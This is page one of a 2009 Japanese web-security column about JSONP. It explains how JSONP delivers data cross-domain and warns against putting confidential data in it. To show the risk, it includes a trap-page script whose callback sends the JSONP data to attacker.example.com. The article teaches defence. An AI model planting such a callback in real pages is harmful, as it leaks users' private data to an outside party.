第4回 [気になる]JSONPの守り方

はせがわようすけ
ネットエージェント株式会社

2009/8/10

XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます (編集部)

JSONPだって、セキュリティを気にしてほしい

- PR -

 皆さんこんにちは、はせがわようすけです。今回は、JSONPを使用する場合のセキュリティについて解説しましょう。

 JSONPとは、JSON with Paddingの名称が示しているとおり、JSON形式のデータにコールバック関数の呼び出しのためのコードを付加することで、クロスドメインでデータの受け渡しを実現するためのデータ形式です。JavaScriptからクロスドメインでのデータが簡単に扱えることなどを理由に、多数のWebアプリケーションでAPIの一部としてJSONP形式でデータの提供が行われています。

 具体的な例を見てみましょう。データの提供側は、「http://example.jp/weather.json?loc=tokyo」というURLで、以下のようなJSONP形式のデータを出力しているとします。

callback( { "city" : "tokyo",  "weather" : "rain" } );

 JSONデータを引数に、callbackという関数を呼び出す形になっているのが分かるかと思います。このデータを利用するJavaScriptアプリケーションの側は、最も簡単な方法としては

<script>
function callback( json ){
    alert( "東京の天気は" +  json.weather );
}
</script>
<script src="http://example.jp/weather.json?loc=tokyo"></script>

のように、<script>要素を使ってJSONPデータをJavaScriptのソースとして読み込むことになります。

 JSONP内ではcallbackという関数を呼び出していますので、事前にcallbackという名前の関数を用意しておくことで、提供されたJSONデータをJavaScriptによるアプリケーション側で簡単に利用できます。

 このように<script>要素を利用してスクリプトとして外部からのデータを受け取っていますので、XMLHttpRequestを使ってデータを受け取る場合のようにSame Origin Policyの制約を受けることなく、アプリケーションの置かれているドメインと異なるドメインから提供されるデータであっても、JavaScriptにて受け取ることができます。

 では、この便利なJSONPを使う上で気を付けなければいけない、セキュリティ上の注意点を挙げていきましょう。

JSONP内の機密情報

 上の例で示したとおり、JSONPによって提供されるデータは Same Origin Policyの制約を受けずに、任意のサイトに置かれているJavaScriptからアクセスすることができます。これは攻撃者にとっても同じ条件ですので、攻撃者が用意したわなのページから、JSONPを読み込むこともできてしまいます。

 例えば攻撃者が次のようなわなのページを用意し、被害者にアクセスさせたとします。

<script>
function callback( json ){
   location.href = "http://attacker.example.com/?"
+ json.city + "&" + json.weather; } </script>
<script src="http://example.jp/weather.json?loc=tokyo"></script>

 被害者がこのわなのページをブラウザで開くと、JSONPの内容を攻撃者のサイトに送信してしまいます。今回の例では天気という機密性のないデータですが、例えばWebメールのアドレス帳などのように、やりとりするデータに機密情報を含めたくなることもあるでしょう。JSONPはそもそもクロスドメインの制約を超えてデータを提供するための仕組みですので、攻撃者の用意した悪意あるサイトであっても、正規のサイトと同様にJSONデータが引き渡されます。よって、JSONPによるデータを提供する場合には、JSONP内には機密情報は含めないように注意しなければいけません。

 どうしてもJSONP内に正規のアプリケーションのみ利用できる機密情報を含めたい場合には、JSONPを提供するURLを、第三者にとって推測不能なものにするという方法があります。JSONPを取得するURLが攻撃者にも推測不能であれば、攻撃者がわなのページ内に<script>のsrcとしてJSONPを指定することができなくなります。

 JSONPの提供側でリファラを確認し、正規のWebサイトから要求されたときのみJSONPを提供するという方法もありますが、環境によってはリファラが無効になっていることもあるため、この方法はお勧めできません。

 
1/3

Index
[気になる]JSONPの守り方
Page1
JSONPだって、セキュリティを気にしてほしい
JSONP内の機密情報
  Page2
JSON内のエスケープ
JSONP呼び出しの危険性
  Page3
JSONP提供側のXSS
手軽に使えるからこそ気にしたいセキュリティの基礎

教科書に載らないWebアプリケーションセキュリティ

 Coding Edgeお勧め記事
いまさらアルゴリズムを学ぶ意味
コーディングに役立つ! アルゴリズムの基本(1)
 コンピュータに「3の倍数と3の付く数字」を判断させるにはどうしたらいいか。発想力を鍛えよう
Zope 3の魅力に迫る
Zope 3とは何ぞや?(1)
 Pythonで書かれたWebアプリケーションフレームワーク「Zope 3」。ほかのソフトウェアとは一体何が違っているのか?
貧弱環境プログラミングのススメ
柴田 淳のコーディング天国
 高性能なIT機器に囲まれた環境でコンピュータの動作原理に触れることは可能だろうか。貧弱なPC上にビットマップの直線をどうやって引く?
Haskellプログラミングの楽しみ方
のんびりHaskell(1)
 関数型言語に分類されるHaskell。C言語などの手続き型言語とまったく異なるプログラミングの世界に踏み出してみよう
ちょっと変わったLisp入門
Gaucheでメタプログラミング(1)
 Lispの一種であるScheme。いくつかある処理系の中でも気軽にスクリプトを書けるGaucheでLispの世界を体験してみよう
  Coding Edgeフォーラムフィード  2.01.00.91

TechTargetジャパン

Coding Edge フォーラム 新着記事

@ITメールマガジン 新着情報やスタッフのコラムがメールで届きます(無料)

RSSフィード

キャリアアップ

@IT Sepcial

イベントカレンダー

PickUpイベント

- PR -
もっと見る

お勧め求人情報

ホワイトペーパーTechTargetジャパン

@IT Sepcial
ソリューションFLASH